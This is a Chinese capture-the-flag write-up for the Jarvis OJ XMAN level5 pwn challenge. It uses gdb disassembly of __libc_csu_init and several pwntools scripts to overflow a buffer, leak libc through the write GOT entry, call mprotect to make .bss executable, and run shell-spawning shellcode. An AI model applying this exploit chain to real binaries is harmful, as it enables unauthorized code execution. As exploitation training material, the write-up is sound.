欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

[XMAN]level5 Jarvis OJ

程序员文章站 2022-06-17 15:00:52
...

思路:bss段刚开始是不可执行的,从通用的想要执行bss必须执行mprotect函数来更改bss段的权限(改为7即可读可写可执行)。但是想要获取到mprotect函数必须获取到libc版本。还是少不了上次的泄露libc函数,这里泄露的时候也直接用通用gedgat减少不必要的操作,减少错误。
泄露获取libc–>获取到mprotect函数来改写bss段的权限–>把shellcode写入到bss段–>执行bss段的内容。

这里需要调用mmap或者mprotect函数都是有三个参数,直接定位到对应位置。上次的行不通就用下面的一个通用gedit

gdb-peda$ disas 
Dump of assembler code for function __libc_csu_init:
   0x0000000000400650 <+0>: push   r15
   0x0000000000400652 <+2>: mov    r15d,edi
   0x0000000000400655 <+5>: push   r14
   0x0000000000400657 <+7>: mov    r14,rsi
   0x000000000040065a <+10>:    push   r13
   0x000000000040065c <+12>:    mov    r13,rdx
   0x000000000040065f <+15>:    push   r12
   0x0000000000400661 <+17>:    lea    r12,[rip+0x2001d8]        # 0x600840
   0x0000000000400668 <+24>:    push   rbp
   0x0000000000400669 <+25>:    lea    rbp,[rip+0x2001d8]        # 0x600848
   0x0000000000400670 <+32>:    push   rbx
   0x0000000000400671 <+33>:    sub    rbp,r12
   0x0000000000400674 <+36>:    xor    ebx,ebx
   0x0000000000400676 <+38>:    sar    rbp,0x3
   0x000000000040067a <+42>:    sub    rsp,0x8
   0x000000000040067e <+46>:    call   0x400480 <_init>
   0x0000000000400683 <+51>:    test   rbp,rbp
   0x0000000000400686 <+54>:    je     0x4006a6 <__libc_csu_init+86>
   0x0000000000400688 <+56>:    nop    DWORD PTR [rax+rax*1+0x0]
   0x0000000000400690 <+64>:    mov    rdx,r13
   0x0000000000400693 <+67>:    mov    rsi,r14
   0x0000000000400696 <+70>:    mov    edi,r15d
   0x0000000000400699 <+73>:    call   QWORD PTR [r12+rbx*8]
   0x000000000040069d <+77>:    add    rbx,0x1
   0x00000000004006a1 <+81>:    cmp    rbx,rbp
   0x00000000004006a4 <+84>:    jne    0x400690 <__libc_csu_init+64>
   0x00000000004006a6 <+86>:    add    rsp,0x8
   0x00000000004006aa <+90>:    pop    rbx
   0x00000000004006ab <+91>:    pop    rbp
   0x00000000004006ac <+92>:    pop    r12
   0x00000000004006ae <+94>:    pop    r13
   0x00000000004006b0 <+96>:    pop    r14
   0x00000000004006b2 <+98>:    pop    r15
   0x00000000004006b4 <+100>:   ret    
End of assembler dump.

这里显示了__libc_csu_init函数的内容。如果执行完0x00000000004006aa地址处后ret后面跟的是0x0000000000400690 会给rdi,rsi,rdx三个寄存器赋值。然后执行call而call的地址我们也能控制最终返回到main函数。

from pwn import *
context.log_level="debug"
p=process("./level3_x64")
elf=ELF("./libc6_2.27-3ubuntu1_amd64.so")
elf=ELF("./level3_x64")

rop1=0x00000000004006aa
rop2=0x0000000000400690
bss_addr=0x0000000000600a88
main_addr=0x000000000040061A

#raw_input()
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.got["write"])#rbp,r12
payload+=p64(8)+p64(elf.got["write"])+p64(1)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)

#############leak write_got#########################
p.recvuntil("Input:\n")
p.sendline(payload)
write_addr=u64(p.recv(8))
sleep(1)
print "write_addr="+hex(write_addr)

上面代码有一点需要注意:给r12的值是write_got(write_got是指向函数首地址的一个指针)也就是说这里call的是只想一个地址处的指针ptr[]表示取地址。

call本身call的是要执行函数的首地址

   0x40062e <main+20>:  call   0x4005e6 <vulnerable_function>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddc0 --> 0x400650 (<__libc_csu_init>:   push   r15)
0008| 0x7fffffffddc8 --> 0x7ffff7801b97 (<__libc_start_main+231>:   mov    edi,eax)
0016| 0x7fffffffddd0 --> 0x1 
0024| 0x7fffffffddd8 --> 0x7fffffffdea8 --> 0x7fffffffe212 ("/home/liu/桌面/oj/level5_x64/level3_x64")
0032| 0x7fffffffdde0 --> 0x100008000 
0040| 0x7fffffffdde8 --> 0x40061a (<main>:  push   rbp)
0048| 0x7fffffffddf0 --> 0x0 
0056| 0x7fffffffddf8 --> 0x1e88863ca3cbee78 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x000000000040061e in main ()
gdb-peda$ x /10i 0x4005e6
   0x4005e6 <vulnerable_function>:  push   rbp
   0x4005e7 <vulnerable_function+1>:    mov    rbp,rsp
   0x4005ea <vulnerable_function+4>:    add    rsp,0xffffffffffffff80
   0x4005ee <vulnerable_function+8>:    mov    edx,0x7
   0x4005f3 <vulnerable_function+13>:   mov    esi,0x4006d4
from pwn import *
context(arch='amd64',os='linux')
context.log_level="debug"
p=process("./level3_x64")
libc=ELF("./libc6_2.27-3ubuntu1_amd64.so")
elf=ELF("./level3_x64")

rop1=0x00000000004006aa
rop2=0x0000000000400690
main_addr=0x000000000040061A

#raw_input()
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.got["write"])#rbp,r12
payload+=p64(8)+p64(elf.got["write"])+p64(1)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)

#############leak write_got#########################
p.recvuntil("Input:\n")
p.sendline(payload)
write_addr=u64(p.recv(8))
sleep(1)
print "write_addr="+hex(write_addr)



mprotect_addr=write_addr-libc.symbols["write"]+libc.symbols["mprotect"]
print "mprotect_address="+hex(mprotect_addr)
raw_input()
#########set bss size=0x1000 power=7
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(mprotect_addr)#rbp,r12
payload+=p64(7)+p64(0x1000)+p64(0x600000)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)
p.recvuntil("Input:\n")
p.sendline(payload)
#sleep(1)
raw_input()
##########set bss=shellcode
shellcode=asm(shellcraft.amd64.sh())
print shellcode
print "size of shellcode=",len(shellcode)
p.recvuntil("Input:\n")
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.got["read"])#rbp,r12
payload+=p64(len(shellcode)+1)+p64(elf.bss())+p64(1)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(elf.bss())
p.sendline(payload)

p.interactive()

这里就犯了个刚才说的错

payload+=p64(1)+p64(mprotect_addr)#rbp,r12

这里的mprotect_addr是执行不了的.想让mprotect执行有一个好办法就是把mprotect放到一个已经知道地址的地方去。这里有现成的,bss段

from pwn import *
context(arch='amd64',os='linux')
context.log_level="debug"
p=process("./level3_x64")
libc=ELF("./libc6_2.27-3ubuntu1_amd64.so")
elf=ELF("./level3_x64")

rop1=0x00000000004006aa
rop2=0x0000000000400690
main_addr=0x000000000040061A

#raw_input()
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.got["write"])#rbp,r12
payload+=p64(8)+p64(elf.got["write"])+p64(1)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)

#############leak write_got#########################
p.recvuntil("Input:\n")
p.sendline(payload)
write_addr=u64(p.recv(8))
sleep(1)
print "write_addr="+hex(write_addr)

mprotect_addr=write_addr-libc.symbols["write"]+libc.symbols["mprotect"]
print "mprotect_address="+hex(mprotect_addr)

##########set bss=shellcode
shellcode=p64(mprotect_addr)+asm(shellcraft.amd64.sh())
print shellcode
print "size of shellcode=",len(shellcode)
p.recvuntil("Input:\n")
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.got["read"])#rbp,r12
payload+=p64(len(shellcode)+1)+p64(elf.bss())+p64(0)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)
p.sendline(payload)
p.sendline(shellcode)

raw_input()
#########set bss size=0x1000 power=7
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.bss())#rbp,r12
payload+=p64(7)+p64(0x1000)+p64(0x600000)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(elf.bss()+8)
p.recvuntil("Input:\n")
p.sendline(payload)

p.interactive()

这里有一点关于mprotect的注意点:mprotect的第一个参数标识要写的内存页的首地址。这里是以页为单位访问。一页是4kb也就是0x1000字节所以mprotect的第一个参数必须是0x1000的倍数。第二个参数标识要设置的权限的地址的范围。这个多少都无所谓,不过需要把bss段包含进去。